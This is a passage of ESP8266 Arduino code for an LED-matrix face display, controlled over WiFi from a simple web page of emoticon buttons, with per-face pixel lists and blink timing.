style=\\\"height:100px;width:250px;font-size:50px\\\">^_^<\/button><\/a>\";\n webPage += \"<\/p>\";\n \/\/ Face Options 4-6\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face004\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">@_@<\/button><\/a>\";\n webPage += \"<a href=\\\"Face005\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">\/_\\\\<\/button><\/a>\";\n webPage += \"<a href=\\\"Face006\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">?_?<\/button><\/a>\";\n webPage += \"<\/p>\";\n \/\/ Face Options 7-9\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face007\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">O_o<\/button><\/a>\";\n webPage += \"<a href=\\\"Face008\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">\\\\_\/<\/button><\/a>\";\n webPage += \"<a href=\\\"Face009\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">Z_Z<\/button><\/a>\";\n webPage += \"<\/p>\";\n \/\/ Face Options 10-12\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face010\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">#_#<\/button><\/a>\";\n webPage += \"<a href=\\\"Face011\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">=_=<\/button><\/a>\";\n webPage += \"<a href=\\\"Face012\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">~_^<\/button><\/a>\";\n webPage += \"<\/p>\";\n \/\/ Face Options 13-15\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face013\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">9_9<\/button><\/a>\";\n webPage += \"<a href=\\\"Face014\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">!_!<\/button><\/a>\";\n webPage += \"<a href=\\\"Face015\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">*_*<\/button><\/a>\";\n webPage += \"<\/p>\";\n \/\/ Face Options 16-18\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face016\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">'_'<\/button><\/a>\";\n webPage += \"<a href=\\\"Face017\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">;_;<\/button><\/a>\";\n webPage += \"<a href=\\\"Face018\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">.)_.)<\/button><\/a>\";\n webPage += \"<\/p>\";\n \/\/ Face Options 19-21\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face019\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">(._(.<\/button><\/a>\";\n webPage += \"<a href=\\\"Face020\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">o_O<\/button><\/a>\";\n webPage += \"<a href=\\\"Face021\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">._.<\/button><\/a>\";\n webPage += \"<\/p>\";\n \/\/ Face Options 22-23\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face022\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">⌐_⌐<\/button><\/a>\";\n webPage += \"<a href=\\\"Face023\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\"><3_<3<\/button><\/a>\";\n webPage += \"<\/p>\";\n \/\/Rainbow\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Rainbow\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">RBOW<\/button><\/a>\";\n webPage += \"<\/p>\";\n webPage += \"<\/center>\";\n webPage += \"<\/body>\";\n \n delay(1000);\n Serial.begin(115200);\n \n \/\/ Wifi Client Configuration\n WiFi.begin(ssid, password);\n Serial.println(\"\");\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) \n {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n \n if (mdns.begin(\"esp8266\", WiFi.localIP())) \n {\n Serial.println(\"MDNS responder started\");\n }\n \n \/\/ Wifi AP Configuration\n \/*\n Serial.println(\"\");\n Serial.println(\"Configuring access point...\");\n \/\/ You can remove the password parameter if you want the AP to be open.\n WiFi.softAP(ssid, password);\n\n IPAddress myIP = WiFi.softAPIP();\n Serial.print(\"AP IP address: \");\n Serial.println(myIP);\n *\/\n server.on(\"\/\", []()\n {\n server.send(200, \"text\/html\", webPage);\n });\n server.on(\"\/Red\", []()\n {\n server.send(200, \"text\/html\", webPage);\n color=red;\n Serial.println(\"Setting Color to Red\");\n });\n server.on(\"\/Green\", []()\n {\n server.send(200, \"text\/html\", webPage);\n color=green;\n Serial.println(\"Setting Color to Green\");\n });\n server.on(\"\/Blue\", []()\n {\n server.send(200, \"text\/html\", webPage);\n color=blue;\n Serial.println(\"Setting Color to Blue\");\n });\n server.on(\"\/White\", []()\n {\n server.send(200, \"text\/html\", webPage);\n color=white;\n Serial.println(\"Setting Color to White\");\n });\n server.on(\"\/Face001\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode=1;\n Serial.println(\"Drawing Face 001\");\n });\n server.on(\"\/Face002\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode=2;\n Serial.println(\"Drawing Face 002\");\n });\n server.on(\"\/Face003\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode=3;\n Serial.println(\"Drawing Face 003\");\n });\n server.on(\"\/Face004\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode=4;\n Serial.println(\"Drawing Face 004\");\n });\n server.on(\"\/Face005\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode=5;\n Serial.println(\"Drawing Face 005\");\n });\n server.on(\"\/Face006\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode=6;\n Serial.println(\"Drawing Face 006\");\n });\n server.on(\"\/Face007\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode=7;\n Serial.println(\"Drawing Face 007\");\n });\n server.on(\"\/Face008\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode=8;\n Serial.println(\"Drawing Face 008\");\n });\n server.on(\"\/Face009\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode=9;\n Serial.println(\"Drawing Face 009\");\n });\n server.on(\"\/Face010\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode=0;\n Serial.println(\"Drawing Face 010\");\n });\n server.on(\"\/Face011\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='A';\n Serial.println(\"Drawing Face 011\");\n });\n server.on(\"\/Face012\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='B';\n Serial.println(\"Drawing Face 012\");\n });\n server.on(\"\/Face013\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='C';\n Serial.println(\"Drawing Face 013\");\n });\n server.on(\"\/Face014\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='D';\n Serial.println(\"Drawing Face 014\");\n });\n server.on(\"\/Face015\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='E';\n Serial.println(\"Drawing Face 015\");\n });\n server.on(\"\/Face016\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='F';\n Serial.println(\"Drawing Face 016\");\n });\n server.on(\"\/Face017\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='G';\n Serial.println(\"Drawing Face 017\");\n });\n server.on(\"\/Face018\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='H';\n Serial.println(\"Drawing Face 018\");\n });\n server.on(\"\/Face019\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='I';\n Serial.println(\"Drawing Face 019\");\n });\n server.on(\"\/Face020\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='J';\n Serial.println(\"Drawing Face 020\");\n });\n server.on(\"\/Face021\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='K';\n Serial.println(\"Drawing Face 021\");\n });\n server.on(\"\/Face022\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='L';\n Serial.println(\"Drawing Face 022\");\n });\n server.on(\"\/Face023\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='M';\n Serial.println(\"Drawing Face 023\");\n });\n server.on(\"\/Rainbow\", []()\n {\n server.send(200, \"text\/html\", webPage);\n FaceMode='N';\n Serial.println(\"Drawing Rainbow\");\n });\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n\/\/ Main Loop ------------------------------------------------------------------------------------------------\nvoid loop(void)\n{\n server.handleClient();\n\n switch (FaceMode) \n {\n case 1: Face001(); break; \/\/ Draw Face001\n case 2: Face002(); break; \/\/ Draw Face002\n case 3: Face003(); break; \/\/ Draw Face003\n case 4: Face004(); break; \/\/ Draw Face004\n case 5: Face005(); break; \/\/ Draw Face005\n case 6: Face006(); break; \/\/ Draw Face006\n case 7: Face007(); break; \/\/ Draw Face007\n case 8: Face008(); break; \/\/ Draw Face008\n case 9: Face009(); break; \/\/ Draw Face009\n case 0: Face010(); break; \/\/ Draw Face010\n case 'A': Face011(); break; \/\/ Draw Face011\n case 'B': Face012(); break; \/\/ Draw Face012\n case 'C': Face013(); break; \/\/ Draw Face013\n case 'D': Face014(); break; \/\/ Draw Face014\n case 'E': Face015(); break; \/\/ Draw Face015\n case 'F': Face016(); break; \/\/ Draw Face016\n case 'G': Face017(); break; \/\/ Draw Face017\n case 'H': Face018(); break; \/\/ Draw Face018\n case 'I': Face019(); break; \/\/ Draw Face019\n case 'J': Face020(); break; \/\/ Draw Face020\n case 'K': Face021(); break; \/\/ Draw Face021\n case 'L': Face022(); break; \/\/ Draw Face022\n case 'M': Face023(); break; \/\/ Draw Face023\n case 'N': Rainbow(); break; \/\/ Draw Rainbow\n } \n} \n\/\/ Draw Face001 ---------------------------------------------------------------------------------------------\nvoid Face001()\n{\n if (Face001RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face\n strip.setPixelColor(19, color); \n strip.setPixelColor(20, color); \n strip.setPixelColor(21, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(30, color); \n strip.setPixelColor(36, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(107, color); \n strip.setPixelColor(108, color); \n strip.setPixelColor(109, color);\n strip.setPixelColor(147, color); \n strip.setPixelColor(148, color); \n strip.setPixelColor(149, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(155, color); \n strip.setPixelColor(156, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(163, color); \n strip.setPixelColor(164, color); \n strip.setPixelColor(169, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(176, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(217, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(228, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(236, color);\n strip.setPixelColor(275, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(326, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(348, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(356, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(363, color); \n strip.setPixelColor(364, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(402, color); \n strip.setPixelColor(403, color); \n strip.setPixelColor(404, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(412, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(418, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(432, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(449, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(465, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(473, color); \n strip.setPixelColor(474, color); \n strip.setPixelColor(475, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(483, color); \n strip.setPixelColor(484, color); \n strip.setPixelColor(491, color); \n strip.setPixelColor(492, color); \n strip.setPixelColor(493, color);\n strip.show(); \/\/ Turn on the LEDs \n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = true; \/\/ Face001 - this face\n Face002RunningCheck = false; \/\/ Face002 \n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face001BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face001 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face\n strip.setPixelColor(19, color); \n strip.setPixelColor(20, color); \n strip.setPixelColor(21, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(30, color); \n strip.setPixelColor(36, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(107, color); \n strip.setPixelColor(108, color); \n strip.setPixelColor(109, color);\n strip.setPixelColor(147, color); \n strip.setPixelColor(148, color); \n strip.setPixelColor(149, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(155, color); \n strip.setPixelColor(156, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(163, color); \n strip.setPixelColor(164, color); \n strip.setPixelColor(169, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(176, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(217, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(228, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(236, color);\n strip.setPixelColor(275, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(326, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(348, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(356, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(363, color); \n strip.setPixelColor(364, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(402, color); \n strip.setPixelColor(403, color); \n strip.setPixelColor(404, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(412, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(418, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(432, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(449, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(465, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(473, color); \n strip.setPixelColor(474, color); \n strip.setPixelColor(475, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(483, color); \n strip.setPixelColor(484, color); \n strip.setPixelColor(491, color); \n strip.setPixelColor(492, color); \n strip.setPixelColor(493, color); \n strip.show(); \/\/ Turn on the LEDs \n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face001BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face001 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face001BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n }\n } \n}\n\/\/ Draw Face002 ---------------------------------------------------------------------------------------------\nvoid Face002()\n{\n if (Face002RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face\n strip.setPixelColor(20, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(30, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(39, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(95, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(160, color); \n strip.setPixelColor(161, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(169, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(179, color); \n strip.setPixelColor(180, color); \n strip.setPixelColor(181, color); \n strip.setPixelColor(188, color); \n strip.setPixelColor(189, color); \n strip.setPixelColor(190, color); \n strip.setPixelColor(195, color); \n strip.setPixelColor(196, color); \n strip.setPixelColor(197, color); \n strip.setPixelColor(198, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(204, color); \n strip.setPixelColor(205, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(216, color); \n strip.setPixelColor(217, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(295, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(351, color); \n strip.setPixelColor(356, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(364, color); \n strip.setPixelColor(416, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(435, color); \n strip.setPixelColor(436, color); \n strip.setPixelColor(437, color); \n strip.setPixelColor(443, color); \n strip.setPixelColor(444, color); \n strip.setPixelColor(445, color); \n strip.setPixelColor(446, color); \n strip.setPixelColor(452, color); \n strip.setPixelColor(453, color); \n strip.setPixelColor(454, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(459, color); \n strip.setPixelColor(460, color); \n strip.setPixelColor(461, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(465, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(472, color); \n strip.setPixelColor(473, color);\n strip.show(); \/\/ Turn on the LEDs \n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = true; \/\/ Face002 - this face\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face002BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face002 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face\n strip.setPixelColor(20, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(30, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(39, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(95, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(160, color); \n strip.setPixelColor(161, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(169, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(179, color); \n strip.setPixelColor(180, color); \n strip.setPixelColor(181, color); \n strip.setPixelColor(188, color); \n strip.setPixelColor(189, color); \n strip.setPixelColor(190, color); \n strip.setPixelColor(195, color); \n strip.setPixelColor(196, color); \n strip.setPixelColor(197, color); \n strip.setPixelColor(198, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(204, color); \n strip.setPixelColor(205, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(216, color); \n strip.setPixelColor(217, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(295, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(351, color); \n strip.setPixelColor(356, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(364, color); \n strip.setPixelColor(416, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(435, color); \n strip.setPixelColor(436, color); \n strip.setPixelColor(437, color); \n strip.setPixelColor(443, color); \n strip.setPixelColor(444, color); \n strip.setPixelColor(445, color); \n strip.setPixelColor(446, color); \n strip.setPixelColor(452, color); \n strip.setPixelColor(453, color); \n strip.setPixelColor(454, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(459, color); \n strip.setPixelColor(460, color); \n strip.setPixelColor(461, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(465, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(472, color); \n strip.setPixelColor(473, color);\n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face002BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face002 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face002BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face003 ---------------------------------------------------------------------------------------------\nvoid Face003()\n{\n if (Face003RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face\n strip.setPixelColor(59, color); \n strip.setPixelColor(60, color); \n strip.setPixelColor(67, color); \n strip.setPixelColor(68, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(118, color); 